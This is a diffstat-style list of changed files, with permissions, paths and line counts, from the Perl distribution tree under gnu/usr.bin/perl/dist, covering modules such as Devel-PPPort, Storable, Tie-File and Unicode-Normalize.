-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv109
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest45
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc346
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest909
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools276
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs154
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv90
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf313
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads68
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv122
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables491
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version51
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn168
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc23
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl404
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500307021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500400051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040301
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50040507
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500500028
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050304
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50050401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5006000150
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500600111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50060021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50070001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700217
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500700360
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500800118
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50080091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500900323
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50090049
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/500900527
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50100007
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501000112
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501100014
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501100213
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50110052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50120051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130012
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130029
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130032
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130055
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501300632
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501300735
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130086
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50130111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50140041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501500111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/501500430
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150078
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150083
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50150095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50160031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170077
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170093
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50170111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50180041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190022
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190032
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190044
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190072
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50190111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50200031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502100112
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210023
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210054
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210063
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210079
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210082
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50210111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50220002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50220011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502300822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/50230095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/502400045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/ppport_h.PL19
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/soak600
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t56
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t120
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t71
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t110
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t67
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t62
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t55
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t62
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t120
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t284
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t157
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t59
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t53
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t83
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t947
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t76
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t73
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t52
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t65
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl48
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t61
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t107
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/typemap36
-rw-r--r--gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm4
-rw-r--r--gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t22
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t5
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t2
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod2
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs1
-rw-r--r--gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs2
-rw-r--r--gnu/usr.bin/perl/dist/Filter-Simple/t/no.t13
-rw-r--r--gnu/usr.bin/perl/dist/IO/ChangeLog112
-rw-r--r--gnu/usr.bin/perl/dist/IO/Makefile.PL9
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/IO.t2
-rw-r--r--gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t19
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_dir.t10
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_file.t2
-rw-r--r--gnu/usr.bin/perl/dist/IO/t/io_leak.t37
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_unix.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/IO/t/io_utf8.t2
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod76
-rwxr-xr-xgnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t15
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t6
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t93
-rw-r--r--gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t96
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST2
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL7
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies2
-rwxr-xr-xgnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t8
-rw-r--r--gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t30
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/Changes131
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t16
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t73
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t19
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t13
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t13
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t34
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t20
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t31
-rwxr-xr-xgnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t1
-rw-r--r--gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t13
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/Changes42
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/MANIFEST29
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/META.json55
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/META.yml30
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/lib/File/Spec/AmigaOS.pm5
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/t/cwd.t17
-rw-r--r--gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t52
-rwxr-xr-xgnu/usr.bin/perl/dist/Safe/t/safe1.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Safe/t/safe3.t2
-rw-r--r--gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/Makefile.PL87
-rw-r--r--gnu/usr.bin/perl/dist/Storable/README19
-rw-r--r--gnu/usr.bin/perl/dist/Storable/Storable.pm.PL35
-rw-r--r--gnu/usr.bin/perl/dist/Storable/__Storable__.pm1430
-rw-r--r--gnu/usr.bin/perl/dist/Storable/hints/linux.pl5
-rw-r--r--gnu/usr.bin/perl/dist/Storable/stacksize232
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc261
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t22
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/attach_singleton.t7
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/blessed.t223
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/compat01.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/dclone.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/destroy.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/downgrade.t6
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/file_magic.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/flags.t103
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/forgive.t10
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/freeze.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/huge.t104
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/hugeids.t372
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/interwork56.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/leaks.t15
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/lock.t6
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/malice.t24
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/overload.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/recurse.t258
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/regexp.t127
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/restrict.t9
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/retrieve.t43
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/st-dump.pl2
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/store.t43
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/testlib.pl12
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied.t4
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied_hook.t3
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/tied_items.t2
-rw-r--r--gnu/usr.bin/perl/dist/Storable/t/tied_reify.t36
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/utf8hash.t1
-rwxr-xr-xgnu/usr.bin/perl/dist/Storable/t/weak.t4
-rw-r--r--gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t49
-rw-r--r--gnu/usr.bin/perl/dist/Test/lib/Test.pm15
-rw-r--r--gnu/usr.bin/perl/dist/Test/t/fail.t2
-rw-r--r--gnu/usr.bin/perl/dist/Test/t/mix.t4
-rw-r--r--gnu/usr.bin/perl/dist/Test/t/onfail.t5
-rw-r--r--gnu/usr.bin/perl/dist/Test/t/todo.t4
-rwxr-xr-xgnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t7
-rw-r--r--gnu/usr.bin/perl/dist/Thread-Queue/t/11_limit.t41
-rw-r--r--gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm46
-rwxr-xr-xgnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t3
-rw-r--r--gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t76
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/05_size.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t8
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t4
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t11
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t6
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t6
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t2
-rw-r--r--gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t2
-rw-r--r--gnu/usr.bin/perl/dist/Time-HiRes/fallback/const-xs.inc6
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Changes258
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL55
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm635
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs925
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader419
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t138
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t84
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t386
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t85
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t145
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t100
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t120
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t116
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t99
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t147
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t168
-rw-r--r--gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t82
-rw-r--r--gnu/usr.bin/perl/dist/base/t/base-open-chunk.t2
-rw-r--r--gnu/usr.bin/perl/dist/base/t/base-open-line.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/base.t2
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/fields-5_6_0.t4
-rwxr-xr-xgnu/usr.bin/perl/dist/base/t/fields-5_8_0.t2
-rw-r--r--gnu/usr.bin/perl/dist/encoding-warnings/lib/encoding/warnings.pm30
-rw-r--r--gnu/usr.bin/perl/dist/encoding-warnings/t/1-warning.t20
-rw-r--r--gnu/usr.bin/perl/dist/encoding-warnings/t/2-fatal.t4
-rw-r--r--gnu/usr.bin/perl/dist/encoding-warnings/t/3-normal.t7
-rw-r--r--gnu/usr.bin/perl/dist/encoding-warnings/t/4-lexical.t4
-rw-r--r--gnu/usr.bin/perl/dist/if/Changes9
